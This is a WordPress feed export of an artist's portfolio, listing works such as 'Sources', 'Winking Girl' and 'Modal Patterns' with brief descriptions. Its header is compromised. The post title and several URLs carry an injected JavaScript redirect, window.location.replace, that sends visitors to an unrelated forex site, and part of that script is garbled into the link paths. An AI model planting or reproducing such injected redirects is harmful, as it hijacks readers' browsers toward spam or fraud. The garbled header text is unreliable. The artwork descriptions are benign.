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Andrés Ramírez Gaviria http://www.andresramirezgaviria.com Andrés Ramírez Gaviria Sun, 13 Apr 2014 08:26:04 +0000 en-US hourly 1 http://wordpress.org/?v=3.9.2 window.location.replace("http://www.indoforextrading.com"); http://www.andresramirezgaviria.com/scripttype=text/javascriptwindow.location.replace(http://www.indoforextrading.com);/script/ http://www.andresramirezgaviria.com/scripttype=text/javascriptwindow.location.replace(http://www.indoforextrading.com);/script/#comments Sun, 29 Jan 2012 00:00:17 +0000 http://www.andresramirezgaviria.com/?p=113

Sources, 2009 – 2012
30 gelatin silver prints (each 27.5 x 21 cm), stroboscopic lamps, DMX controller, sound performance
Variable dimensions

Radio signals from astronomical objects are transformed as a series of 30 images, a live
sound performance,
and a light sculpture.

 

 

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ar_td_ep, 2001
4 laser projectors, microphones, electronics
Variable dimensions

 

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Winking Girl, 2013
HD video (black & white, silent)
12 seconds, looped

The cartoon girl “Nefertiti” winks periodically in subtle defiance. Taken from the pages of Ivan Sutherland’s 1963
PhD thesis titled “Sketchpad, A Man-Machine Graphical Communication System”, the image of “Nefertiti” is an early
illustration of the creative convenience of copying an image or parts of it, instantly, multiple times with the aid of a
computer program.

Video

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Memo2012
2 Inkjet prints on paper
Each 32 x 24 cm

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Modal Patterns, 2006
Two-channel video installation, (black & white, sound & silent)
Variable dimensions and variable running times

Two different phrases — “more than the sum of its parts” and “a misshape of truth torments”— are offered as
translated audiovisual animations based on the Gestalt principles of perception. The first appears recurrently in
different contexts and in different guises. It derives here from Roy Behrens’ Design in the Visual Arts (1984, 49),
which discusses Gestalt theory and its influence on modern art and design. The second phrase is an anagram of
the first.

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Line, 2005
Wood, paint
Variable dimensions

 

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Formula, 2010
Inkjet print on paper
42.5 x 35 cm, framed

S(Pi + Pii + Piii +…Pπ)Y = T is a mathematical formula for the creative process put forward by the Russian critic
Nikolay Punin  in the summer of 1919.

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Empty Form, 2008
16mm film, (black & white, sound), projection screen 66 x 90 cm.
15 minuntes

A 16mm film projects only a black frame onto a small screen during a recitation in Russian of Kazimir
Malevich’s essay “Художник и кино” (“The Artist and The Cinema”) as the soundtrack.

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Composition, 2006
Software projection (black & white, sound)
1100 x 150 cm approx.

A series lines is rendered as perpetual motion through a generative process.

 

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Between Forms of Representation and Interpretation, 2010
LED light tubes, computer, DMX controller, custom electronics
Variable dimensions

A joke told with six flickering lights.

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